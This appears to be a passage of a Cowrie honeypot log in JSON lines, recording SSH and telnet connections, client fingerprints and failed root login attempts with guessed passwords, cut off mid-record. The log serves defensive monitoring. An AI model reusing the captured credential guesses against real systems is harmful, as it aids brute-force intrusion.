{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:37.428066Z","src_ip":"61.222.211.114","session":"830f13d3071a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:37.633684Z","src_ip":"61.222.211.114","session":"830f13d3071a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbox123","message":"login attempt [root/vbox123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:38.486023Z","src_ip":"61.222.211.114","session":"830f13d3071a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":23962,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4cd07e32e40","protocol":"ssh","message":"New connection: 118.26.36.248:23962 (159.203.135.109:22) [session: a4cd07e32e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:38.571009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:38.580551Z","src_ip":"118.26.36.248","session":"a4cd07e32e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:38.799076Z","src_ip":"118.26.36.248","session":"a4cd07e32e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:39.695347Z","src_ip":"61.222.211.114","session":"830f13d3071a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supp0rt","message":"login attempt [root/supp0rt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:39.705862Z","src_ip":"118.26.36.248","session":"a4cd07e32e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:40.927159Z","src_ip":"118.26.36.248","session":"a4cd07e32e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"9747ef917b17","protocol":"ssh","message":"New connection: 43.153.27.162:43858 (10.17.0.5:22) [session: 9747ef917b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:55.399034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:55.403748Z","src_ip":"43.153.27.162","session":"9747ef917b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:55.471652Z","src_ip":"43.153.27.162","session":"9747ef917b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1010","message":"login attempt [root/1010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:55.773856Z","src_ip":"43.153.27.162","session":"9747ef917b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:56.845350Z","src_ip":"43.153.27.162","session":"9747ef917b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":35216,"dst_ip":"10.17.0.5","dst_port":22,"session":"28cc8a2c2c1c","protocol":"ssh","message":"New connection: 20.12.41.6:35216 (10.17.0.5:22) [session: 28cc8a2c2c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:57.758084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:57.762338Z","src_ip":"20.12.41.6","session":"28cc8a2c2c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:57.775898Z","src_ip":"20.12.41.6","session":"28cc8a2c2c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newuser","message":"login attempt [root/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:57.863852Z","src_ip":"20.12.41.6","session":"28cc8a2c2c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:11:58.881324Z","src_ip":"20.12.41.6","session":"28cc8a2c2c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.173.40.50","src_port":42141,"dst_ip":"159.203.135.109","dst_port":23,"session":"034a9006c80a","protocol":"telnet","message":"New connection: 41.173.40.50:42141 (159.203.135.109:23) [session: 034a9006c80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:07.290396Z"}
{"eventid":"cowrie.session.closed","duration":12.117950677871704,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:19.408244Z","src_ip":"41.173.40.50","session":"034a9006c80a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":60448,"dst_ip":"159.203.135.109","dst_port":22,"session":"35efabd5f956","protocol":"ssh","message":"New connection: 31.59.89.180:60448 (159.203.135.109:22) [session: 35efabd5f956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:41.162126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:41.167048Z","src_ip":"31.59.89.180","session":"35efabd5f956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:41.273642Z","src_ip":"31.59.89.180","session":"35efabd5f956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass2017","message":"login attempt [root/Pass2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:41.731492Z","src_ip":"31.59.89.180","session":"35efabd5f956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:42.841306Z","src_ip":"31.59.89.180","session":"35efabd5f956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":59528,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4082e68917f","protocol":"ssh","message":"New connection: 209.99.184.143:59528 (159.203.135.109:22) [session: e4082e68917f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:45.894115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:45.899493Z","src_ip":"209.99.184.143","session":"e4082e68917f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:45.991588Z","src_ip":"209.99.184.143","session":"e4082e68917f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firewall","message":"login attempt [root/firewall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:46.428108Z","src_ip":"209.99.184.143","session":"e4082e68917f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:12:47.522837Z","src_ip":"209.99.184.143","session":"e4082e68917f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":59410,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c3154f6711","protocol":"ssh","message":"New connection: 118.26.36.248:59410 (159.203.135.109:22) [session: 22c3154f6711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:00.637736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:00.643126Z","src_ip":"118.26.36.248","session":"22c3154f6711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:00.858886Z","src_ip":"118.26.36.248","session":"22c3154f6711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2fast4u","message":"login attempt [root/2fast4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:01.745396Z","src_ip":"118.26.36.248","session":"22c3154f6711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:02.962242Z","src_ip":"118.26.36.248","session":"22c3154f6711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":58392,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d03fe9cf06","protocol":"ssh","message":"New connection: 43.153.27.162:58392 (10.17.0.5:22) [session: 53d03fe9cf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:05.495419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:05.500818Z","src_ip":"43.153.27.162","session":"53d03fe9cf06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:05.570282Z","src_ip":"43.153.27.162","session":"53d03fe9cf06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:05.879179Z","src_ip":"43.153.27.162","session":"53d03fe9cf06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:06.954342Z","src_ip":"43.153.27.162","session":"53d03fe9cf06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":51946,"dst_ip":"159.203.135.109","dst_port":22,"session":"215dda4fd53b","protocol":"ssh","message":"New connection: 61.222.211.114:51946 (159.203.135.109:22) [session: 215dda4fd53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:10.972322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:10.977680Z","src_ip":"61.222.211.114","session":"215dda4fd53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-s